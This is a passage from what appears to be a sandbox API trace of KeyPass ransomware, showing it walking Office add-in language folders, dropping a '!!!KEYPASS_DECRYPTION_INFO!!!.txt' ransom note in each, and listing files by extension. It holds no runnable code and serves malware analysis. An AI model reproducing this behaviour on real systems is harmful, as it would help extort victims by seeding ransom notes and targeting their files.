(hFile=0x7cc) returned 0x1 [0250.370] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.370] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.370] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.370] WriteFile (in: hFile=0x7cc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.371] WriteFile (in: hFile=0x7cc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.371] CloseHandle (hObject=0x7cc) returned 1 [0250.372] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39001f0 [0250.372] FindNextFileW (in: hFindFile=0x39001f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.372] FindNextFileW (in: hFindFile=0x39001f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.372] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.372] FindNextFileW (in: hFindFile=0x39001f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.372] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\AdHocReportingExcelClient.dll") returned=".dll" [0250.372] FindNextFileW (in: hFindFile=0x39001f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.372] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.372] FindNextFileW (in: hFindFile=0x39001f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.372] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.372] FindNextFileW (in: hFindFile=0x39001f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.372] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.372] FindNextFileW (in: hFindFile=0x39001f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.372] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.372] FindNextFileW (in: hFindFile=0x39001f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.372] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\PowerViewRes.es.xap") returned=".xap" [0250.372] FindNextFileW (in: hFindFile=0x39001f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.372] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.372] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.372] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.373] GetLastError () returned 0x3f0 [0250.373] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.373] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\et\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d0 [0250.409] GetFileType (hFile=0x7d0) returned 0x1 [0250.410] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.410] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.410] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.410] WriteFile (in: hFile=0x7d0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.411] WriteFile (in: hFile=0x7d0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.411] CloseHandle (hObject=0x7d0) returned 1 [0250.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900870 [0250.411] FindNextFileW (in: hFindFile=0x3900870, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.411] FindNextFileW (in: hFindFile=0x3900870, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.425] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.425] FindNextFileW (in: hFindFile=0x3900870, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.426] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\AdHocReportingExcelClient.dll") returned=".dll" [0250.426] FindNextFileW (in: hFindFile=0x3900870, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.426] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.426] FindNextFileW (in: hFindFile=0x3900870, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.426] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.426] FindNextFileW (in: hFindFile=0x3900870, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.426] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.426] FindNextFileW (in: hFindFile=0x3900870, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.426] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.426] FindNextFileW (in: hFindFile=0x3900870, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.426] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\PowerViewRes.et.xap") returned=".xap" [0250.426] FindNextFileW (in: hFindFile=0x3900870, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.426] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.426] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.426] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.426] GetLastError () returned 0x3f0 [0250.426] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.426] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\eu\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d4 [0250.452] GetFileType (hFile=0x7d4) returned 0x1 [0250.452] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.452] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.452] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.452] WriteFile (in: hFile=0x7d4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.453] WriteFile (in: hFile=0x7d4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.453] CloseHandle (hObject=0x7d4) returned 1 [0250.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900830 [0250.453] FindNextFileW (in: hFindFile=0x3900830, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.453] FindNextFileW (in: hFindFile=0x3900830, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.454] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.454] FindNextFileW (in: hFindFile=0x3900830, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.454] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\AdHocReportingExcelClient.dll") returned=".dll" [0250.454] FindNextFileW (in: hFindFile=0x3900830, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.454] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.454] FindNextFileW (in: hFindFile=0x3900830, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.454] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.454] FindNextFileW (in: hFindFile=0x3900830, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.454] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.454] FindNextFileW (in: hFindFile=0x3900830, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.454] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.454] FindNextFileW (in: hFindFile=0x3900830, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.454] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\PowerViewRes.eu.xap") returned=".xap" [0250.454] FindNextFileW (in: hFindFile=0x3900830, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.454] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.454] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.454] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.454] GetLastError () returned 0x3f0 [0250.454] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.454] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d8 [0250.460] GetFileType (hFile=0x7d8) returned 0x1 [0250.460] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.460] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.460] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.460] WriteFile (in: hFile=0x7d8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.461] WriteFile (in: hFile=0x7d8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.461] CloseHandle (hObject=0x7d8) returned 1 [0250.461] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39008b0 [0250.462] FindNextFileW (in: hFindFile=0x39008b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.462] FindNextFileW (in: hFindFile=0x39008b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.462] FindNextFileW (in: hFindFile=0x39008b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\AdHocReportingExcelClient.dll") returned=".dll" [0250.462] FindNextFileW (in: hFindFile=0x39008b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.462] FindNextFileW (in: hFindFile=0x39008b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.462] FindNextFileW (in: hFindFile=0x39008b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.462] FindNextFileW (in: hFindFile=0x39008b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.462] FindNextFileW (in: hFindFile=0x39008b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.462] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\PowerViewRes.fi.xap") returned=".xap" [0250.462] FindNextFileW (in: hFindFile=0x39008b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.462] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.462] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.462] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.462] GetLastError () returned 0x3f0 [0250.462] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.462] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c0 [0250.507] GetFileType (hFile=0x7c0) returned 0x1 [0250.507] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.508] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.508] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.508] WriteFile (in: hFile=0x7c0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.509] WriteFile (in: hFile=0x7c0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.509] CloseHandle (hObject=0x7c0) returned 1 [0250.509] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39006f0 [0250.509] FindNextFileW (in: hFindFile=0x39006f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.509] FindNextFileW (in: hFindFile=0x39006f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.509] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.509] FindNextFileW (in: hFindFile=0x39006f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.510] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\AdHocReportingExcelClient.dll") returned=".dll" [0250.510] FindNextFileW (in: hFindFile=0x39006f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.510] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.510] FindNextFileW (in: hFindFile=0x39006f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.510] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.510] FindNextFileW (in: hFindFile=0x39006f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.510] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.510] FindNextFileW (in: hFindFile=0x39006f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.510] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.510] FindNextFileW (in: hFindFile=0x39006f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.510] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\PowerViewRes.fr.xap") returned=".xap" [0250.510] FindNextFileW (in: hFindFile=0x39006f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.510] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.510] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.510] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.510] GetLastError () returned 0x3f0 [0250.510] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.510] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\gl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7dc [0250.528] GetFileType (hFile=0x7dc) returned 0x1 [0250.529] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.529] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.529] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.529] WriteFile (in: hFile=0x7dc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.530] WriteFile (in: 